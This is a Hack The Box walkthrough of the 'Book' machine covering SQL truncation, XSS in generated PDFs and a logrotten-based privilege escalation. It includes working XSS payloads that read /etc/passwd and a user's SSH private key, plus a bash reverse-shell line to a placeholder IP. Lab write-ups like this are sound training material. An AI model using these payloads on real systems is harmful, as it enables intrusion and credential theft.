
HackTheBox – Book

S  ummary

• Created a new user on web server and discovered admin email address.
• Discovery of admin login panel which is vulnerable to an SQL truncation attack.
• Abused SQL truncation to change the admins password.
• Discovery of XSS vulnerability in dynamically generated PDF, this could be used to read 

local files.
• Abused XSS to gain the user – readers SSH key.
• Authenticated as reader via SSH.
• Abused logrotate using the logrotten vulnerability to gain a reverse shell as the root account.
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R  econ

I began by adding 10.10.10.176 to /etc/hosts as book.htb.
Port scans only revealed ports 22 running SSH and port 80 hosting HTTP.

Running dirb against the HTTP server revealed an interesting directory – admin.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb.txt
START_TIME: Thu Jul  9 05:52:01 2020
URL_BASE: http://book.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://book.htb/ ----
==> DIRECTORY: http://book.htb/admin/
==> DIRECTORY: http://book.htb/docs/
==> DIRECTORY: http://book.htb/images/

• http://book.htb/index.php (CODE:200|SIZE:6800)
• http://book.htb/server-status (CODE:403|SIZE:273)
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Visiting the website reveals a user login and signup form, where I created a new user and logged in.
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Some interesting pages included collections which allows the user to upload books in PDF format 
and contact which had an admin email address.

The login page has a very interesting script in the source code, mentioning a validateForm function, 
this appears to check the lengths of input, limiting the username to 10 characters and the email 
address to 20 characters.
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With this knowledge I attempted an SQL truncation attack, as the username field gets cut off after 
10 characters and the email field at 20, it should be possible to use an existing username and email 
address but appending spaces up to the character limits followed by another character, this allows 
the account creation form to essentially work as a password reset form..

Unfortunately my browser didn't like what I was doing, so I attempted again using burp – this time 
successfully.

5
@driggzzzz

Book Writeup HTB



Visiting the admin page revealed an admin login form, I could successfully authenticate using the 
admin accounts new password.
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Visiting collections and clicking the PDF links appears to create dynamically generated PDFs based
upon the books stored on the website.

I confirmed this by uploading a PDF file from my low privilege user account and rechecking the 
collections with the admin account. Some testing of this function and some research lead me to 
trying XSS by submitting a PDF with a simple script to print “vulnerable...” to the dynamically 
generated PDF. The payload used was:

<img src=x onerror=document.write('vulnerable...')>

This successfully wrote the line to the PDF.
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FootHold

With confirmation of XSS I tried to read local files using the following payload:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script> 

Submitting this payload successfully generated a PDF containing the contents of /etc/passwd, 
revealing a user – reader.
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Knowing a username on the system is highly useful, I used this information to attempt to read their 
SSH private key using the following payload:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script> 

Whilst this was successful the formatting on the key was wrong and some characters were cut off.

I managed to get around this using the following payload:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script> 

This script does the same as before except encodes the contents with base64.
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I could then download the PDF and use pdfminer to extract the text content from the PDF.

https://github.com/pdfminer/pdfminer.six

I could then pipe the output to base64 -d to get a properly formatted SSH key for reader and 
authenticate via SSH.
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Privilege Escalation

I downloaded linPEAS (a very comprehensive enumeration script) to the target system and ran it, 
outputting an interesting section regarding logrotate and an exploit for it – logrotten against the 
access.log files in /home/reader/backups.

Details on exploiting logrotten can be found here:

https://github.com/whotwagner/logrotten
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I compiled logrotten.c as logrotten and downloaded it on the target system.

Afterwards I moved the file to /tmp and made sure that it could be executed by using chmod +x.
I also created a script which I called “driggzzzz”, also using chmod +x to make it executable, the 
scripts contents were:

bash -i >& /dev/tcp/IPADDRESS/PORT 0>&1

I then set up a listener, executed logrotten, calling this script and the access.log files in readers 
home directory. To trigger the log rotate I wrote to the access.log file. This successfully granted me 
a reverse connection as the root account.

The connection to the root account wasn't very stable and cut out quite quickly, though persistence 
could be gained by reading the root account SSH private key.
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